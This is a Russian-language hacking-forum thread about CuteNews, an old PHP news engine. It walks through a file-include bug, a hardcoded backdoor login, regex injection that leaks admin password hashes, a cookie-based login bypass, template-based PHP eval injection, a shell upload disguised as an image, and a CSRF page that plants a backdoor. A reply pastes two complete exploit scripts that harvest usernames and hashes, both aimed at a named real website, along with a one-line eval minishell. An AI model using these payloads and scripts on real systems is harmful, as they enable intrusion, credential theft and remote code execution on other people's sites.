Старый 13.10.2013, 13:17   #1
Enigma
 
Аватар для Enigma
 
Регистрация: 17.06.2013
Сообщений: 37
Репутация: 12
По умолчанию CuteNews

CuteNews
  • Version: v026
  • Site: -
  • Dork: Powered by CuteNews.RU 026

Это очень старая версия(около десяти лет прошло), но мне она встретилась во время аудита и пришлось разбираться.

Общая информация:
  • БД не используется, вместо этого файлы
  • register_globals!=on -> делается extract переменных, так что можно считать rg==on всегда.
  • в data/users.db.php хранится информация о пользователях; строки вида 1373759797|1|admin|21232f297a57a5a743894a0e4a801fc 3|admin||1|0||1375387918||. Логин идет третьим, после него md5-хеш пароля

Нагуглить уязвимостей я не смог и решил смотреть сам. После того как я нашел LFI и бекдор в функции логина я стал гуглить хеш(см. ниже) и оказалось, что в 2004 году кто-то уже находил эти уязвимости. Цитирую это(http://securityvulns.ru/Hdocument80.html):


Цитата:
* Title: CuteNews.RU v026 - bugs
* Bug found by: тёмыч

Если magic_quotes_gpc = off
(include)
show_archives.php?template=../../../../../../../../file%00

Код добавлен мною(Enigma):
PHP код:
if(!isset($template) or $template == "" or strtolower($template) == "default"){ require_once("$cutepath/data/Default.tpl"); }
else{
    if(
file_exists("$cutepath/data/${template}.tpl")){ require_once("$cutepath/data/${template}.tpl"); } 

##############################


backdoor в функцие check_login
md5 login and password:

md5 login: 712279bc51dd4508f0510e907102447c
md5 passw: d619468225a1d9e4c93c6be0317b3696

каму не лень, пусть брутит.

PHP код:
function check_login($username$md5_password){
   
$result FALSE;
   
$full_member_db file("./data/users.db.php");
   global 
$member_db;

       if (
md5 ($username)!=="712279bc51dd4508f0510e907102447c")
       {
               foreach(
$full_member_db as $member_db_line)
           {
                   if(!
eregi("<\?"$member_db_line)){
                               
$member_db explode("|",$member_db_line);
                               if(
strtolower($member_db[2]) == strtolower($username) && $member_db[3] == $md5_password)
                               {
                                       
$result TRUE;
                                       break;
                               }
                       }
               }
       }
       else if (
$md5_password=="d619468225a1d9e4c93c6be0317b3696"$result TRUE;
   return 
$result;

md5 passw сбрутить мне так и не удалось, поиск по хешу ничего не дал.

На целевом сервере mq был on, залить файл .tpl мне не удалось, так что инклуд мне тоже не помог, и я решил искать другие уязвимости.


Получение аутентификационных данных:

смотрим файл search.php
PHP код:
// Don't edit below this line unless you know what you are doing !!!

if($dosearch == "yes")
{
CUT
    $files_arch
[] = "$cutepath/data/news.txt";

    foreach(
$files_arch as $file)
    {
CUT
        $all_news_db 
file("$file");
        foreach(
$all_news_db as $news_line){
            
$news_db_arr explode("|",$news_line);
            
// do the search
CUT 
$files_arch здесь используется впервые, это означает что поскольку rg==on мы можем добавить к запросу http://site/...&files_arch[]=data/users.db.php и поиск будет осуществляться в файле хранящем аутентификационные данные. Там используется тот же формат(разделение символом |) что и в файлах хранящих информацию о новостях, так что поиск будет осуществлён.

Первой идеей было посмотреть нельзя ли вывести хеш. Строки в data/users.db.php выглядят так 1373759797|1|admin|21232f297a57a5a743894a0e4a801fc 3|admin||1|0||1375387918||. Это означает что $news_db_arr[3] будет содержать наш хеш. Единственное место где $news_db_arr[3] используется это

PHP код:
            $fuser  FALSE;
            
$ftitle FALSE;
            
$fstory FALSE;
            if(
$title and @preg_match("/$title/i""$news_db_arr[2]")){ $ftitle TRUE; }
            if(
$user  and @preg_match("/\b$user\b/i""$news_db_arr[1]")){ $fuser TRUE; }
            if(
$story and (@preg_match("/$story/i""$news_db_arr[4]") or @preg_match("/$story/i""$news_db_arr[3]"))){ $fstory TRUE;}
    
// дальше много кода, в результате выводится количество найденных статей и (возможно) ссылки на них 
Как видно это участок preg_match("/$story/i", "$news_db_arr[3]"), где $story - это поисковый запрос. Вскоре я осознала, что $story будет не просто строкой, но регулярным выражением.

$news_db_arr[1](preg_match $user) - права доступа, нас интересуют записи где это поле равняется 1(1 значит администратор)
$news_db_arr[2]($title) - логин
$news_db_arr[3]($story) - md5 хеш пароля

---

Запросы и ответы будут примерно такими:

Код:
Request:
http://localhost/cnews/search.php?dosearch=yes&story=^[a-z0-9]{32}$&title=&user=&files_arch[]=data/users.db.php
Response:
Найдено [3] статей:
это означает что всего есть 3 аккаунта

Код:
Request:
http://localhost/cnews/search.php?dosearch=yes&story=^[a-z0-9]{32}$&title=&user=1&files_arch[]=data/users.db.php
Response:
Найдено [2] статей:
это означает что есть два администраторских аккаунта

Код:
Request:
http://localhost/cnews/search.php?dosearch=yes&story=^21232f297a57a5a743894a0e4a801fc3$&title=^admin$&user=&files_arch[]=data/users.db.php
Response:
Найдено [1] статей:
это означает что мы нашли учетную запись с логином admin и хешем 21232f297a57a5a743894a0e4a801fc3.

Ну как подбирать понятно я думаю, по сути это тот же класс задач что и blind sql-injection. Поскольку нам доступны всего два состояния(совпадение есть/нет) бинарный поиск тут будет самым эффективным алгоритмом.

Perl скрипт(http://pastebin.com/Z0P6XjSZ) который на вход получает URL страницы поиска и ищет первый администраторский аккаунт(с правами доступа 1), на выходе даются логин и md5-хеш пароля. Передача параметров осуществляется через COOKIE.


Недостаток аутентификации:
для аутентификации используются куки вида
username=admin
md5_password=21232f297a57a5a743894a0e4a801fc3

Это означает что не требуется подбирать пароль для хеша, достаточно создать эти куки и вставить туда полученные логин и хеш пароля.


Инъекция php кода:
требуется доступ в администраторскую панель

Настройки->Шаблоны, выбираем любой шаблон, запоминаем его имя и в "редактировать части шаблона" добавляем к любому участку в самый конец с новой строки:
PHP код:

HTML
;
eval(
$_REQUEST['code']);
<<<
HTML 
<<<HTML чтоб не было Notice: Use of undefined constant HTML - assumed 'HTML'

После сохранения это запишется в файл и отображаться в панели не будет. Ну для ясности, код сохранится примерно такой:
PHP код:
$template_dateheader = <<<HTML
<h3 style="font-size: 14px;">{dateheader}</h3>
HTML;
eval(
$_REQUEST['code']);
<<<HTML
HTML; 
Затем обращаемся странице с новостями, по умолчанию это show_news.php?template=default/*default - имя шаблона*/&code=phpinfo(); ну естественно использовать не GET.

Код сохраняющий шаблоны находится в inc/options.mdu:
PHP код:
elseif($action == "dosavetemplates")
{
       if($member_db[1] != 1){ msg("error", "Access Denied", "You don't have permissions for this type of action"); }
    $templates_names = array("edit_active", "edit_comment", "edit_form", "edit_full", "edit_prev_next", "edit_ñprev_next", "edit_dateheader");
    foreach($templates_names as $template)
    {
        $$template = stripslashes($$template);
    }

    if($do_template == "" or !$do_template){ $do_template = "Default"; }
    $template_file = "./data/${do_template}.tpl";

    $handle = fopen("$template_file","w");
    fwrite($handle, "<?PHP\n///////////////////// TEMPLATE $do_template /////////////////////\n");
    
fwrite($handle"\$template_active = <<<HTML\n$edit_active\nHTML;\n\n\n");
    
fwrite($handle"\$template_full = <<<HTML\n$edit_full\nHTML;\n\n\n");
    
fwrite($handle"\$template_comment = <<<HTML\n$edit_comment\nHTML;\n\n\n");
    
fwrite($handle"\$template_form = <<<HTML\n$edit_form\nHTML;\n\n\n");
    
fwrite($handle"\$template_prev_next = <<<HTML\n$edit_prev_next\nHTML;\n\n\n");
    
fwrite($handle"\$template_cprev_next = <<<HTML\n$edit_ñprev_next\nHTML;\n\n\n");
    
fwrite($handle"\$template_dateheader = <<<HTML\n$edit_dateheader\nHTML;\n\n\n");
    
fwrite($handle"?>\n"); 
}
Как видно после каждого изменения файл переписывается заново, так что если через некоторое время после инъекции поменяют что-то в шаблоне ваш код будет утерян.

+ имя шаблона в do_template не проверяется на корректность, так что можно создавать новые .tpl файлы/подниматься по дереву директорий.


CSRF
защиты от CSRF тут нет. Поскольку мы можем зайти с админского аккаунта писать об эксплуатации не буду





=============================



CuteNews
  • Version: 1.5.3
  • Site: http://cutephp.com/
  • Dork: Powered by CuteNews

Это уже современная, самая последняя версия. Мне она не была нужна, но чтоб не создавать тему только о движке десятилетней давности я решил посмотреть как дела обстоят сейчас.


Общая информация:
  • -всё так же используются файлы, а не БД
  • -core/loadenv.php подключаемый в большинстве случаев делает extract(GET/POST/C, EXTR_SKIP);
  • data/users.db.php хранится информация о пользователях; sha256-hash от пароля
  • -можно получить список пользователей где ставится в соответствии ник и логин +можно посмотреть уровень доступа запросом CuteNews/shows.php?imod=userlist&user_flags=unraple
  • -ведётся лог, например сохраняет ип и время для каждого захода пользователя
  • -index.php показывает версию движка


Инъекция php кода:
требуется аккаунт админа и права на запись файла шаблона

Options->Edit templates

Теперь код отвещающий за это действие хранится в inc/options.php
Код:
elseif($action == "dosavetemplates")
{
    if ($member_db[UDB_ACL] != 1)
        msg("error", lang("Access Denied"), lang("You don't have permissions for this type of action", '#GOBACK'));

    if ($do_template == "" or !$do_template)
        $do_template = "Default";

    $template_file = SERVDIR."/cdata/$do_template.tpl";

    $handle = fopen($template_file, "w");
    fwrite($handle, '<'.'?php'."\n///////////////////// TEMPLATE $do_template /////////////////////\n");
    foreach ($Template_Form as $parts)
    {
        $name  = $parts['name'];
        $value = $_REQUEST['edit_'.$name];
        $value = str_replace('HTML;', '', $value);
        $value = (ini_get('magic_quotes_gpc')) ? stripslashes($value) : $value;
        fwrite($handle, "\${$name} = <<<HTML\n{$value}\nHTML;\n\n\n");
    }
    fwrite($handle, "?>");
    fclose($handle);

    add_to_log($member_db[UDB_NAME], lang('Update templates'));
    relocation($PHP_SELF.'?action=templates&mod=options&do_template='.$do_template.'&save=success');
}
Сама идея кода не изменилась, файл всё так же перезаписывается заново. Разработчики попытались исправить уязвимость добавив
PHP код:
$value str_replace('HTML;'''$value
, но допустили обычную в этом случае ошибку.

Код:
HTHTML;ML;
eval($_REQUEST['code']);
<<<HTML
do_template(имя файла) теперь фильтруется(preg_replace [^a-zA-Z0-9]), т.е. подниматься по дереву нельзя, но если вдруг есть права на запись в папку с шаблонами а на сами шаблоны нет можно создать новый шаблон.

После выполняем код:
http://site.com/CuteNews/index.php?template=template_name&code=phpinfo%28%2 9;


Загрузка произвольных файлов:
требуется аккаунт с возможностью загружать картинки (админ/журналист, аккаунт комментатора который можно создать по умолчанию не подходит)

PHP код:
// inc/images.php
elseif ($action != "doimagedelete")
{
    if (
$subaction == "upload")
    {
        
CSRFCheck();
        for (
$image_i 1$image_i < ($images_number+1); $image_i++)
        {
            
$current_image  'image_'.$image_i;
            
$image          $_FILES[$current_image]['tmp_name'];
            
$image_name     $_FILES[$current_image]['name'];
            
$image_name     str_replace(" ""_"$image_name);
            
$img_name_arr   explode(".",$image_name);
            
$type           end($img_name_arr);

            
// Check file for valid
            
$data getimagesize($image);
            list(
$width$height) = $data;

            
// Only allowed images
            
if ( preg_match('/^image\//i'$data['mime']) && $width && $height )
            {
CUT
                    copy
($imageSERVDIR."/uploads/".$image_name) or $img_result .= "<br><span style='color: red;'>$image_name -> Couldn't copy image to server</span><br />Check if file_uploads is allowed in the php.ini file of your server";
                    if (
file_exists(SERVDIR."/uploads/".$image_name))
                    {
                        
$img_result .= "<br><span style='color: green;'>$image_name -> Image was uploaded</span>";
                        if (
$action == "quick")
                            
$img_result .= " <a title=\"Insert this image in the $my_area\" href=\"javascript:insertimage('$image_name');\">[insert it]</a>";

                    }
                    
// if file is uploaded succesfully 
Options->Manage uploaded images

Чтоб загрузить шелл нужно взять валидную картинку с php кодом в хвосте, и изменить в запросе mime type на "image/asd". Если вы очень хотите чтоб ваш файл отображался в списке загруженных картинок можете добавить .php в список разрешённых расширений =)


CSRF
создатели движка не доделали защиту от CSRF. extract переменных + CSRF позволяет делать практически все через <img >

Вот пример эксплуатации для описанной выше инъекции пхп-кода.

csrf.html
Код:
<html>
<body>
<img src="http://localhost/CuteNews/index.php?mod=options&action=dosavetemplates&do_template=lal&edit_template_active=HTHTML%3BML%3B%0Aeval%28%24_REQUEST%5B%27code%27%5D%29%3B%0A%3C%3C%3CHTML" />
</body>
</html>
После того как админ прошел выполняем код:
http://site.com/CuteNews/index.php?template=lal&code=phpinfo%28%29;

Проверил в Chromium и Firefox.


ПС: Пока я всё это писал появилась 2.0 бета.

Там многое поменяли в лучшую сторону, изменилась структура, и extract теперь не делается например. Я честно говоря уже потерял интерес к этому движку, так что внимательно смотреть не стал, а на один беглый взгляд там всё норм.
Enigma вне форума   Ответить с цитированием
Старый 13.10.2013, 20:36   #2
artrix
 
Регистрация: 13.12.2012
Сообщений: 16
Репутация: -1
По умолчанию

Поиск нэйма админа
Код:
<?php
error_reporting(E_ALL);
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
// Cutenews <= 1.4.5 usernames fetching exploit
// Version 1.2
// Written by Janek Vind "waraxe"
// http://www.waraxe.us
// 10. march 2009
// Estonia, Tartu
//
// FEATURES:
// 1. Fetching algorithm optimized for speed
// 2. Attack goes through $_COOKIE - minimal noise in logs
// 3. Pretesting saves time if Cutenews not vulnerable
//
// Version 1.1 -> pattern recognize improved
// Version 1.2 -> bugfix related to spaces in username
// version 1.2 -> bugfix related to dots in username/magic_quotes_gpc
//
// More useful tools: http://www.waraxe.us/tools/
// Waraxe forums: http://www.waraxe.us/forums.html
//
// NB! This exploit is meant to be run as php CLI!
// http://www.php.net/features.commandline
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
//=====================================================================
$target = 'http://www.habitarenpatagonia.com/revista//search.php';
$level = 1; // User level needed, admin is 1
$outfile = './cute_log.txt';// Log file
//=====================================================================
///////////////////////////////////////////////////////////////////////
// Don't mess below this line, unless you know the stuff ;)
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
if(($level < 1) || ($level > 4))
{
   die('Specified level is invalid!');
}
$levels = array(1=>'admin',2=>'editor',3=>'journalist',4=>'commenter');
$levelname = $levels[$level];
$start_time = time();
$users_cnt = array();
$users = array();
$requests = 0;
$cli = php_sapi_name() === 'cli';
//=====================================================================
// Warning, if executed from webserver
//=====================================================================
if(!$cli)
{
   if(!isset($_REQUEST['wtf-is-cli']))
   {
      echo "<html><head><title>Attention!</title></head>\n";
      echo "<body><br /><br /><center>\n";
      echo "<h1>Warning!</h1>\n";
      echo "This exploit is meant to be used as php CLI script!<br />\n";
      echo "More information:<br />\n";
      echo "<a href=\"http://www.google.com/search?hl=en&q=php+cli+windows\" target=\"_blank\">http://www.google.com/search?hl=en&q=php+cli+windows</a><br />\n";
      echo "Still, you can try to run it from webserver.<br />\n";
      echo "Just press the button below and prepare for long waiting<br />\n";
      echo "And learn to use php CLI next time, please ...<br />\n";
      echo "<form method=\"get\">\n";
      echo "<input type=\"submit\" name=\"wtf-is-cli\" value=\"Let me in, i don't care\">\n";
      echo "</form>\n";
      echo "</center></body></html>\n";
      exit;
   }
   else
   {
      // Let's try to maximize our chances without CLI
      set_time_limit(0);
   }
}
//=====================================================================
add_logline("-------------------------------------------------------");
add_logline("Cutenews usernames fetching started");
add_logline("Target: $target");
add_logline("Reglevel: $levelname");

pre_test();
fetch_users();
$fcnt = count($users);

add_logline("Fetched $fcnt usernames with reglevel '$levelname'\n");
xecho("\nFetched $fcnt usernames with reglevel '$levelname'\n", 1);

foreach($users as $username)
{
   add_logline($username);
   xecho($username, 1);
}

$run_time = time() - $start_time;
xecho("\nTotal time spent: $run_time seconds", 1);
xecho("HTTP requests made: $requests\n", 1);
xecho("Questions and feedback - http://www.waraxe.us/forums.html", 1);
xecho("See ya! :)", 1);

exit;
//////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
function fetch_users()
{
   global $users_cnt, $level;
   $maxlen = 15;
   $pieces = array('' => $users_cnt[$level]);
   
   for($i = 0; $i < $maxlen; $i ++)
   {
      $cntx = count($pieces);
      $arr = array();
      foreach($pieces as $known => $count)
      {
         $arr2 = reveal_next_char($known, $count);
         $arr = array_merge($arr, $arr2);
      }
      
      $pieces = $arr;
   }
}
///////////////////////////////////////////////////////////////////
function reveal_next_char($known, $count)
{
   global $level;
   
   $known = str_replace('[.]', '.', $known);
   $known = str_replace('.', '[.]', $known);
   $charset = 'abcdefghijklmnopqrstuvwxyz0123456789 ._-';
   $chars = strlen($charset);
   $out = array();
   $rl = "[$level]";
   $arr = array("$charset" => $count);
   $found_final = 0;

   while(1)
   {
      $found = 0;
      $arr2 = array();
      
      foreach($arr as $subset => $scnt)
      {
         $curr_len = intval(floor(strlen($subset) / 2));
         // Testing first half
         $fhalf = substr($subset, 0, $curr_len);
         $un = "^$known([$fhalf])";
         xecho("Testing $un");
         $matches =  make_query($un, $rl);
         if($matches > 0)
         {
            $found += $matches;
            xecho("Found $matches match(es)");
            if( strlen($fhalf) == 1)
            {
               // Exact match?
               if(test_exact_match("$known$fhalf"))
               {
                  if($matches > 1)
                  {
                     $out["$known$fhalf"] = $matches - 1;
                  }
               }
               else
               {
                  $out["$known$fhalf"] = $matches;
               }
                  
               $found_final += $matches;
            }
            else
            {
               $arr2[$fhalf] = $matches;
            }
         }

         if($matches < $scnt)
         {
            // Testing second half
            $shalf = substr($subset, $curr_len);
            $un = "^$known([$shalf])";
            xecho("Testing $un");
            $matches =  make_query($un, $rl);
            if($matches > 0)
            {
               $found += $matches;
               xecho("Found $matches match(es)");
               if( strlen($shalf) == 1)
               {
                  if(test_exact_match("$known$shalf"))
                  {
                     if($matches > 1)
                     {
                        $out["$known$fhalf"] = $matches - 1;
                     }
                  }
                  else
                  {
                     $out["$known$shalf"] = $matches;
                  }
                  
                  $found_final += $matches;
               }
               else
               {
                  $arr2[$shalf] = $matches;
               }
            }
         }
      }

      $arr = $arr2;

      if( $found_final >= $count )
      {
         break;
      }
   }

   return $out;
}
////////////////////////////////////////////////////////////////////////
function test_exact_match($un)
{
   global $level;
   
   $rl = "[$level]";
   $test = "^$un$";
   
   xecho("Testing for full match $un");
   $matches =  make_query($test, $rl);
   if($matches > 0)
   {
		$username = str_replace('[.]', '.', $un);
		xecho("Full username found: $username");
		$GLOBALS['users'][]= $username;
		return true;
   }
   
   xecho("Not full match: $un");
   return false;
}
///////////////////////////////////////////////////////////////////////
function pre_test()
{
   global $users_cnt;
   $un = '^[A-z0-9. _-]{1,15}$';
   
   // Target URL valid?
   xecho("Validating target URL");
   if(strpos(make_get($GLOBALS['target']), 'search_in_archives') === false)
   {
      die('Target URL not valid!');
   }
   xecho("URL is valid");

   $rl = "[1-4]";
   $cnt_all =  make_query($un, $rl);
   if($cnt_all < 1)
   {
      die('Pretest failed - no users at all?');
   }
   else
   {
      xecho("Total $cnt_all user(s) detected:", 1);
      add_logline("Total $cnt_all user account(s)\n");
   }

   $rl = "[1]";
   $cnt_admins =  make_query($un, $rl);
   if($cnt_admins < 1)
   {
      die('Pretest failed - no admins at all?');
   }
   else
   {
      xecho("$cnt_admins admin(s)", 1);
      add_logline("$cnt_admins admin account(s)");
   }
   
   $rl = "[2]";
   $cnt_editors =  make_query($un, $rl);
   xecho("$cnt_editors editor(s)", 1);
   add_logline("$cnt_editors editor account(s)");

   $rl = "[3]";
   $cnt_journalists =  make_query($un, $rl);
   xecho("$cnt_journalists journalist(s)", 1);
   add_logline("$cnt_journalists journalist account(s)");

   $rl = "[4]";
   $cnt_commenters =  make_query($un, $rl);
   xecho("$cnt_commenters commenter(s)", 1);
   add_logline("$cnt_commenters commenter account(s)\n");
   
   if( $cnt_all === ($cnt_admins + $cnt_editors + $cnt_journalists + $cnt_commenters) )
   {
      xecho("Pretesting passed successfully - target is vulnerable!", 1);
   }
   else
   {
      die('Fetched userscounts does not match - fatal exit!');
   }
   
   $users_cnt[1] = $cnt_admins;
   $users_cnt[2] = $cnt_editors;
   $users_cnt[3] = $cnt_journalists;
   $users_cnt[4] = $cnt_commenters;
}
///////////////////////////////////////////////////////////////////////
function make_query($username, $reglevel = '')
{
   global $target;
   $max_retries = 10;
   
   $cookie = "dosearch=yes;files_arch[]=./data/users.db.php;title=$username";
   
   if(!empty($reglevel))
   {
      $cookie .= ";user=$reglevel";
   }
   
   for($retry = 0; $retry < $max_retries + 1; $retry ++)
   {
      if($retry > 0)
      {
         xecho("Request failed!\n");
         xecho("Sleeping $retry seconds\n");
         sleep($retry);
         xecho("Awake ...\n");
         xecho("Retry #$retry\n");
      }
      $buff = make_get($target, $cookie, '', true);
      $ret = preg_match('/\[[0-9]{1,6}\]:/',$buff,$hits);
      if($ret > 0)
      {
         $ret = intval(substr($hits[0], 1));
         if($ret > -1)
         {
            return $ret;
         }
      }
   }
   
   die('Fatal error - server down?');
}
///////////////////////////////////////////////////////////////////////
function make_get($url, $cookie = '', $referer = '', $headers = FALSE)
{
   $ch = curl_init();
   $timeout = 120;
   curl_setopt($ch, CURLOPT_URL, $url);
   curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
   curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
   curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
   curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en)');
   
   if(!empty($cookie))
   {
      curl_setopt($ch, CURLOPT_COOKIE, $cookie);
   }
 
   if(!empty($referer))
   {
      curl_setopt($ch, CURLOPT_REFERER, $referer);
   }

   if($headers === TRUE)
   {
      curl_setopt($ch, CURLOPT_HEADER, TRUE);
   }
   else
   {
      curl_setopt($ch, CURLOPT_HEADER, FALSE);
   }

   $fc = curl_exec($ch);
   curl_close($ch);
   $GLOBALS['requests'] ++;
   
   return $fc;
}
///////////////////////////////////////////////////////////////////////
function add_logline($line)
{
   global $outfile;
   
   $line .= "\n";
   $fh = fopen($outfile, 'ab');
   fwrite($fh, $line);
   fclose($fh);
   
}
///////////////////////////////////////////////////////////////////////
function xecho($line, $both = 0)
{
   if($GLOBALS['cli'])
   {
      echo "$line\n";
   }
   elseif($both)
   {
      $line = nl2br(htmlspecialchars($line));
      echo "$line<br />\n";
   }
}
//////////////////////////////////////////////////////////////////////
?>
Поиск md5
Код:
<?php
error_reporting(E_ALL); 
/////////////////////////////////////////////////////////////////////// 
///////////////////////////////////////////////////////////////////////
// Cutenews <= 1.4.5 admin password md5 hash fetching exploit
// Version 1.0
// written by Janek Vind "waraxe" 
// http://www.waraxe.us
// 23. dec 2007
// Estonia, Tartu
//
// FEATURES:
// 1. Fetching algorithm optimized for speed
// 2. Attack goes through $_COOKIE, so no log fear
// 3. Pretesting saves time if Cutenews is not vulnerable
//
// More useful tools: http://www.waraxe.us/tools/
// Waraxe forums: http://www.waraxe.us/forums.html 
//
// NB! This exploit is meant to be run as php CLI!
// http://www.php.net/features.commandline
/////////////////////////////////////////////////////////////////////// 
/////////////////////////////////////////////////////////////////////// 
//===================================================================== 
$target = 'http://www.habitarenpatagonia.com/revista//search.php';
$username = 'admin'; // Username is needed
$outfile = './cute_log.txt';// Log file
//=====================================================================
///////////////////////////////////////////////////////////////////////
// Don't mess below this line, unless you know the stuff ;)
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////
$levels = array(1=>'admin',2=>'editor',3=>'journalist',4=>'commenter');
$start_time = time();
$requests = 0;
$cli = php_sapi_name() === 'cli';
//=====================================================================
// Warning, if executed from webserver
//=====================================================================
if(!$cli)
{
    if(!isset($_REQUEST['wtf-is-cli']))
    { 
        echo "<html><head><title>Attention!</title></head>\n";
        echo "<body><br /><br /><center>\n";
        echo "<h1>Warning!</h1>\n";
        echo "This exploit is meant to be used as php CLI script!<br />\n";
        echo "More information:<br />\n";
        echo "<a href=\"http://www.google.com/search?hl=en&q=php+cli+windows\" target=\"_blank\">http://www.google.com/search?hl=en&q=php+cli+windows</a><br />\n";
        echo "Still, you can try to run it from webserver.<br />\n";
        echo "Just press the button below and prepare for long waiting<br />\n";
        echo "And learn to use php CLI next time, please ...<br />\n";
        echo "<form method=\"get\">\n";
        echo "<input type=\"submit\" name=\"wtf-is-cli\" value=\"Let me in, i don't care\">\n";
        echo "</form>\n";
        echo "</center></body></html>\n";
        exit;
    }
    else
    {
        // Let's try to maximize our chances without CLI
        set_time_limit(0);
    }
}
//=====================================================================
add_logline("-------------------------------------------------------");
add_logline("Cutenews password md5 hash fetching started");
add_logline("Target: $target");
add_logline("Username: $username");
 
pre_test();
 
$h = get_hash();
$run_time = time() - $start_time;
 
add_logline("MD5 hash: $h");
 
xecho("\nFinal MD5 hash: $h", 1);
xecho("\nTotal time spent: $run_time seconds", 1);
xecho("HTTP requests made: $requests\n", 1);
xecho("Questions and feedback - http://www.waraxe.us/forums.html", 1); 
xecho("See ya! :)", 1);
 
exit; 
//////////////////////////////////////////////////////////////////////
//////////////////////////////////////////////////////////////////////
function get_hash()
{
    $hash = '';
     
    for($i = 0; $i < 32; $i ++)
    {
        xecho("Finding hash char pos $i");
        $c = get_hash_char($i);
        $hash .= $c;
        xecho("Current hash: $hash");
    }
     
    return $hash;
}
///////////////////////////////////////////////////////////////////////
function get_hash_char($pos)
{
    global $username;
     
    $un = "^$username\$";
    $charset = '0123456789abcdef';
     
    $beg = '^';
    if($pos > 0)
    {
        $beg .= "([a-f0-9]{{$pos}})";
    }
     
    $end = '$';
    if($pos < 31)
    {
        $cnt = 31 - $pos;
        $end = "([a-f0-9]{{$cnt}})\$"; 
    }
     
    for($i = 8; $i > 0; $i >>= 1)
    {
        $first = substr($charset, 0, $i);
        $second = substr($charset, $i);     
        $hp = "$beg([$first])$end";
 
        if( make_query($un, $hp) === 1)
        {
            xecho("Position $pos: [$first]");
            $charset = $first;
        }
        else
        {
            xecho("Position $pos: [$second]");
            $charset = $second;
        }
    }
     
    return $charset;
}
///////////////////////////////////////////////////////////////////////
function pre_test()
{
    global $username;
     
    // Target URL valid?
    xecho("Validating target URL");
    if(strpos(make_get($GLOBALS['target']), 'search_in_archives') === false)
    {
        die('Target URL not valid!');
    }
    xecho("URL is valid");
     
    $un = "^$username\$";
    if( make_query($un) !== 1)
    {
        die('Pretest 1 failed - wrong username?');
    }
    else
    {
        xecho("Pretest 1 passed - username OK", 1);
    }
 
    $hp = '^[a-f0-9]{32}$';
    if( make_query($un, $hp) !== 1)
    {
        die('Pretest 2 failed - target not vulnerable?');
    }
    else
    {
        xecho("Pretest 2 passed - regex injection OK", 1);
    }
 
    $hp = '^[a-f0-9]{1337}$';
    if( make_query($un, $hp) !== 0)
    {
        die('Pretest 3 failed - target not vulnerable?');
    }
    else
    {
        xecho("Pretest 3 passed - regex injection OK", 1);
    }
}
///////////////////////////////////////////////////////////////////////
function make_query($username, $hashpattern = '')
{
    global $target;
    $max_retries = 10;
     
    $cookie = "dosearch=yes;files_arch[]=./data/users.db.php;title=$username";
    if(!empty($hashpattern))
    {
        $cookie .= ";story=$hashpattern";
    }
     
    for($retry = 0; $retry < $max_retries + 1; $retry ++)
    {
        if($retry > 0)
        {
            xecho("Request failed!", 1);
            xecho("Sleeping $retry seconds", 1);
            sleep($retry);
            xecho("Awake ...", 1);
            xecho("Retry #$retry", 1);
        }
        $buff = make_get($target, $cookie);
        $x = strpos($buff, '<b>Founded News articles [');
        $y = strpos($buff, ']:</b>', $x + 25);
        if( ($x !== false) && ($y !== false) && ($x < $y) )
        {
            $buff = trim(substr($buff, $x + 26, $y - $x - 26));
            $ret = intval($buff);
            if( ($ret > -1) && ($ret < 2) )
            {
                return $ret;
            }
        }
    }
     
    die('Fatal errror - server down?');
}
///////////////////////////////////////////////////////////////////////
function make_get($url, $cookie = '', $referer = '', $headers = FALSE)
{
    $ch = curl_init();
    $timeout = 120;
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout); 
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0);
    curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727)');
     
    if(!empty($cookie))
    {
        curl_setopt($ch, CURLOPT_COOKIE, $cookie);
    }
  
    if(!empty($referer))
    {
        curl_setopt($ch, CURLOPT_REFERER, $referer);
    }
 
    if($headers === TRUE)
    {
        curl_setopt($ch, CURLOPT_HEADER, TRUE);
    }
    else
    {
        curl_setopt($ch, CURLOPT_HEADER, FALSE);
    }
 
    $fc = curl_exec($ch);
    curl_close($ch);
    $GLOBALS['requests'] ++;
     
    return $fc;
}
//////////////////////////////////////////////////////////////////////
function add_logline($line)
{
    global $outfile;
     
    $line .= "\n";
    $fh = fopen($outfile, 'ab');
    fwrite($fh, $line);
    fclose($fh);
     
}
//////////////////////////////////////////////////////////////////////
function xecho($line, $both = 0)
{
    if($GLOBALS['cli'])
    {
        echo "$line\n";
    }
    elseif($both)
    {
        $line = nl2br(htmlspecialchars($line));
        echo "$line<br />\n";
    }
}
/////////////////////////////////////////////////////////////////////
?>
шелл можно залить через ipban
переходим в настройки - ip ban
в строку вписываем минишелл без пробелов
<?eval($_REQUEST[cmd]);?>
Шел будет доступен по адресу - /data/ipban.db.php?cmd=
artrix вне форума   Ответить с цитированием
Ответ

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot